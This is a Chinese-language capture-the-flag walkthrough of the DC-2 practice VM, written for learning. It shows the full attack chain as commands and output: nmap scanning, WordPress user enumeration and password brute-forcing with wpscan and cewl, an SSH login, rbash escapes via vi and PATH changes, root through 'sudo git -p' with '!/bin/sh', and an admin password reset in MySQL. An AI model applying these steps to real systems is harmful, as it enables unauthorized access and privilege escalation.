前言

这个靶机是 @DCAU7 出品的系列靶机DC中的第二个DC-2

1

这个靶机也有5个flag需要去找。而且给了提示,需要在hosts文件中添加一条记录,将域名和ip地址绑定在一起。

收集信息

老生常谈了,先用nmap扫一下目标主机的ip:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 23:06 EDT
Nmap scan report for 192.168.247.1
Host is up (0.0013s latency).
Nmap scan report for 192.168.247.2
Host is up (0.00059s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00077s latency).
Nmap scan report for 192.168.247.215
Host is up (0.0030s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.66 seconds

确定目标主机的ip为192.168.247.215,再扫描,收集目标主机开启的服务信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
kali@kali:~$ nmap -p1-65535 -A 192.168.247.215 -oN /tmp/DC-2.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-19 23:10 EDT
Nmap scan report for 192.168.247.215
Host is up (0.00069s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52:51:7b:6e:70:a4:33:7a:d2:4b:e1:0b:5a:0f:9e:d7 (DSA)
| 2048 59:11:d8:af:38:51:8f:41:a7:44:b3:28:03:80:99:42 (RSA)
| 256 df:18:1d:74:26:ce:c1:4f:6f:2f:c1:26:54:31:51:91 (ECDSA)
|_ 256 d9:38:5f:99:7c:0d:64:7e:1d:46:f6:e9:7c:c6:37:17 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

目标主机上有一个站点,并且开启了ssh服务,注意端口是7744,而不是常见的22,接下来需要访问该站点寻找突破口。

漏洞挖掘

打开浏览器访问http://192.168.247.215,跳转到了http://dc-2

2

这个在一开始靶机制作者就已经给出了提示,需要在攻击机的hosts文件中添加一条记录,将域名和真实的ip绑定,不然无法解析。

该文件为/etc/hosts,添加一条记录192.168.247.215 dc-2

1
2
3
4
5
6
7
8
9
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
192.168.247.215 dc-2

# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

修改之后重启网络服务使之生效:

1
kali@kali:~$ sudo service networking restart

重新访问http://dc-2,已经能看到正常网页了:

3

网页上写着Just another WordPress site,说这是一个WordPress站点。还看到flag1

4

根据flag1的提示,接下来我们需要先登录后台,所以先用Dirbuster扫描一下登录的入口:

5

后台登录入口为wp-login.php

6

我尝试了最常见的密码admin : 123456admin : admin,但是都不太对。

wordpress用户探测

这个时候就需要一款能够扫描已经安装的WordPress已知安全漏洞的神器——wpscan

wpscan -h就能看到使用选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
kali@kali:~$ wpscan --help
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

Usage: wpscan [options]
--url URL The URL of the blog to scan
Allowed Protocols: http, https
Default Protocol if none provided: http
This option is mandatory unless update or help or hh or version is/are supplied
--version Display the version and exit
-t, --max-threads VALUE The max threads to use
-e, --enumerate [OPTS] Enumeration Process
Available Choices:
vp Vulnerable plugins
ap All plugins
p Popular plugins
vt Vulnerable themes
at All themes
t Popular themes
tt Timthumbs
cb Config backups
dbe Db exports
u User IDs range. e.g: u1-5
Range separator to use: '-'
Value if no argument supplied: 1-10
m Media IDs range. e.g m1-15
Note: Permalink setting must be set to "Plain" for those to be detected
Range separator to use: '-'
Value if no argument supplied: 1-100
Separator to use between the values: ','
Default: All Plugins, Config Backups
Value if no argument supplied: vp,vt,tt,cb,dbe,u,m
Incompatible choices (only one of each group/s can be used):
- vp, ap, p
- vt, at, t
--plugins-detection MODE Use the supplied mode to enumerate Plugins.
Default: passive
Available choices: mixed, passive, aggressive
--plugins-version-detection MODE Use the supplied mode to check plugins' versions.
Default: mixed
Available choices: mixed, passive, aggressive
-P, --passwords FILE-PATH List of passwords to use during the password attack.
If no --username/s option supplied, user enumeration will be run.
-U, --usernames LIST List of usernames to use during the password attack.
Examples: 'a1', 'a1,a2,a3', '/tmp/a.txt'
--multicall-max-passwords MAX_PWD Maximum number of passwords to send by request with XMLRPC multicall
Default: 500
--password-attack ATTACK Force the supplied attack to be used rather than automatically determining one.
Available choices: wp-login, xmlrpc, xmlrpc-multicall
--stealthy Alias for --random-user-agent --detection-mode passive --plugins-version-detection passive

[!] To see full list of options use --hh.

wpscan能过先对站点进行粗略的扫描:

1
$ wpscan --url http://dc-2

7

得到3个信息:

  1. wordpress版本为4.7.10;
  2. 没有安装插件;
  3. 没有config backup文件。

我本来是想看根据wordpress的版本搜索有没有什么知名的漏洞可以利用,最好是rce漏洞,但是并没有找到什么合适的未授权漏洞可以利用。

所以接下来还是先利用wpscan枚举一下站点用户,看看能不能爆破出用户的账号:

1
$ wpscan --url http://dc-2 -e u

8

发现三个用户:

1
2
3
admin
jerry
tom

然后将这三个用户信息保存在文件users.txt中:

1
2
3
4
kali@kali:~$ cat users.txt 
admin
jerry
tom

对这些用户名进行爆破,这个字典我用的是比较大的:

1
$ wpscan --url http://dc-2 --passwords /usr/share/dirb/wordlists/big.txt --usernames users.txt

这个需要的时间有点久,跑了很久,在最后跑到admin密码的时候出bug停止了,我就没再浪费时间重新测试了:

16

flag1给的提示是用kali中自带的密码字典生成工具cewl来生成密码字典。cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。

cewl的使用选项为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kali@kali:~$ cewl -h
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Usage: cewl [OPTIONS] ... <url>

OPTIONS:
-h, --help: Show help.
-k, --keep: Keep the downloaded file.
-d <x>,--depth <x>: Depth to spider to, default 2.
-m, --min_word_length: Minimum word length, default 3.
-o, --offsite: Let the spider visit other sites.
--exclude: A file containing a list of paths to exclude
--allowed: A regex pattern that path must match to be followed
-w, --write: Write the output to the file.
-u, --ua <agent>: User agent to send.
-n, --no-words: Don't output the wordlist.
--lowercase: Lowercase all parsed words
--with-numbers: Accept words with numbers in as well as just letters
--convert-umlauts: Convert common ISO-8859-1 (Latin-1) umlauts (ä-ae, ö-oe, ü-ue, ß-ss)
-a, --meta: include meta data.
--meta_file file: Output file for meta data.
-e, --email: Include email addresses.
--email_file <file>: Output file for email addresses.
--meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
-c, --count: Show the count for each word found.
-v, --verbose: Verbose.
--debug: Extra debug information.

Authentication
--auth_type: Digest or basic.
--auth_user: Authentication username.
--auth_pass: Authentication password.

Proxy Support
--proxy_host: Proxy host.
--proxy_port: Proxy port, default 8080.
--proxy_username: Username for proxy, if required.
--proxy_password: Password for proxy, if required.

Headers
--header, -H: In format name:value - can pass multiple.

<url>: The site to spider.

-w将文件保存到指定路径:

1
cewl -w passwords.txt http://dc-2

9

利用cewl能很快得到密码:

10

但是只爆出了用户jerrytom的密码,admin的密码可能太过复杂:

1
2
Username: jerry, Password: adipiscing
Username: tom, Password: parturient

登录jerry的账号,发现了flag2

11

flag2给出的提示是如果我们不能通过这个wordpress站点作为攻击目标主机的入口,要想其他的办法:

12

提示是找另外的入口,之前用nmap扫描,知道目标服务器上还开启了ssh,服务端口是7744。但是账户密码信息并不知道,但是现在有两个用户信息是可以尝试一下的:

1
2
Username: jerry, Password: adipiscing
Username: tom, Password: parturient

jerry登录失败,但是用户tom是能够成功登录的!

13

绕过rbash

但是当前用户的bash却是rbash

14

什么是rbash呢?

rbash

rbash即restricted bash,也就是受限制的bash。rbash只是bash的一个软链接,用于中专服务器,限制用户使用其他的命令。

除了下面几点以外,rbash和正常的bash没什么其他的区别:

1
2
3
4
5
6
7
8
9
10
11
12
13
* changing directories with cd (不能更改目录)
* setting or unsetting the values of SHELL, PATH, ENV, or BASH_ENV (不能设置或者取消环境变量)
* specifying command names containing / (命令中不能包含/符号)
* specifying a file name containing a / as an argument to the . builtin command (文件操作命令中不能包含/符号)
* Specifying a filename containing a slash as an argument to the -p option to the hash builtin command (文件操作命令中不能包含-符号)
* importing function definitions from the shell environment at startup
* parsing the value of SHELLOPTS from the shell environment at startup
* redirecting output using the >, >|, <>, >&, &>, and >> redirection operators (不能使用 >, >|, <>, >&, &>, and >>等重定向操作符号)
* using the exec builtin command to replace the shell with another command
* adding or deleting builtin commands with the -f and -d options to the enable builtin command
* Using the enable builtin command to enable disabled shell builtins
* specifying the -p option to the command builtin command
* turning off restricted mode with set +r or set +o restricted. (不能使用set +r或是set +o关闭)

因为rbash的存在,虽然登录了目标服务器,但是什么事情都做不了。

所以接下去我们需要绕过rbash的限制,具体的可以参考这两篇文章,写得很具体:

  1. https://www.freebuf.com/articles/system/188989.html
  2. https://xz.aliyun.com/t/7642

1. ssh登录时逃逸

我先尝试了在登录ssh时绕过,具体的做法参考第2篇先知社区的文章:

1
2
3
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" ###shellshock

但是因为命令中包含/字符和bash命令被禁止而没有成功:

1
2
3
4
5
6
kali@kali:~$ ssh tom@192.168.247.215 -p 7744 "/bin/bash"
tom@192.168.247.215's password:
rbash: /bin/bash: restricted: cannot specify `/' in command names
kali@kali:~$ ssh tom@192.168.247.215 -p 7744 "bash --noprofile"
tom@192.168.247.215's password:
rbash: bash: command not found

2. 检查可用命令

查看可以用的命令:

1
2
3
4
5
6
tom@DC-2:~$ cd
-rbash: cd: restricted
tom@DC-2:~$ cp
-rbash: cp: command not found
tom@DC-2:~$ ls
flag3.txt usr

发现ls是可以使用的,并且在当前目录下发现了第3个flag文件flag3.txt,尝试读取它失败了,因为cat命令也是不被允许的:

1
2
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

读取文件的命令还有很多,比如lessmoretail,最后发现less命令是可以被成功执行的:

1
2
3
tom@DC-2:~$ more flag3.txt
-rbash: more: command not found
tom@DC-2:~$ less flag3.txt

不仅less命令,vi命令也是可以被执行的,读取到的flag3.txt内容为:

15

给的提示是要我们切换到jerry用户。

但是当前su命令因为rbash的存在,也没有办法执行,所以还是要先绕过rbash。

1
2
tom@DC-2:~$ su
-rbash: su: command not found
2.1 利用vi/vim

在vi/vim编辑器中我们可以设置shell然后执行:

1
set shell=/bin/sh

17

设置shell=/bin/sh之后,调用该shell变量:

18

回车之后就能看到进入了/bin/sh/。

这里除了vi之外,其实less命令和more命令也有执行脚本的功能,具体的可以参考这篇文章,写的很详细:

Linux 提权——突破受限制的shell权限

2.2 更改PATH或SHELL环境变量

但是调用一些普通的命令,还是返回了not found错误:

19

打印当前环境变量:

1
$ export -p

20

当前PATH='/home/tom/usr/bin',而我们知道linux的shell在执行命令时,会查找路径$PATH来寻找命令,而当前的/home/tom/usr/bin目录下仅存在四个命令:

1
2
3
4
less
ls
scp
vi

所以还需要修改$PATH的值:

1
$ export PATH=$PATH:/bin/:/usr/bin:$PATH

21

现在可以正常使用命令了,su到用户jerry,密码为adipiscing

22

在jerry的home目录下发现第4个flagflag4.txt

23

给出的提示是使用git命令来寻找最后的flag。

利用git提权

参考这2篇文章:

https://gtfobins.github.io/gtfobins/git/

http://www.oniont.cn/index.php/archives/180.html

29

-p | --paginate的意思就是以分页的形式展示git的帮助信息,而且这个功能会调用more命令来完成,而more又有执行脚本的功能,所以键入!/bin/sh

1
$ sudo git -p help config

26

回车就能进入bash,因为是执行命令时使用了sudo,所以键入whoami返回的当前用户就是root了:

27

那为什么能够用git命令提权呢?

我们用sudo -l查看当前用户的权限:

24

可以看到的是,只有/usr/bin/git命令具有sudo权限,如果使用less命令就会提示不允许用sudo执行。

25

获得wordpress站点admin账户信息

到此为止我们就获得了整个站点的控制权,但是我还想了解一些wordpress站点的相关信息,因为前面就没能拿到管理员admin用户的密码。

先从数据库开始吧,我们知道wordpress的数据库配置文件为wp-config.php

30

读取该文件,发现数据库配置信息:

31

登录mysql之后,找到数据库wordpressdb和存储用户账号信息的数据表wp_users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| wordpressdb |
+--------------------+
2 rows in set (0.00 sec)

mysql> use wordpressdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_wordpressdb |
+-----------------------+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----------------------+
12 rows in set (0.00 sec)

admin账号的信息肯定是密文保护的:

32

然后就需要直接在mysql中修改管理员账号的密码,google搜索wordpress change admin password mysql,搜索到一篇文章:

https://www.tecmint.com/reset-wordpress-admin-password-via-mysql-command/

虽然看起来所有的wp密码都是以$P$B开头的,但是其实这个密码还可以用简单的md5值(具体原因不是很清楚),所以更改密码很简单:

1
mysql> UPDATE wp_users SET user_pass = MD5('123456') WHERE ID=1;

33

更改密码之后就能够登录后台:

34

总结

  1. 了解了两款新的工具,一个是wpscan,它是一款由ruby编写、基于白盒测试的WordPress安全扫描器,能够尝试寻找已安装的WordPress站点的一些已知的安全漏洞。
  2. 第2个工具是密码字典生成工具cewl
  3. 了解了vivimlessmore命令可以执行脚本;git -p命令因为会默认调用more,所以同样可以执行脚本。当条件允许时,还可以用这些命令来提权。
  4. 但是还有不足之处,比如在面对wordpress站点时,只能得到两个低权限的账号,而面对admin管理员账号还是一无所知。显然在这一方面的技能点还很欠缺。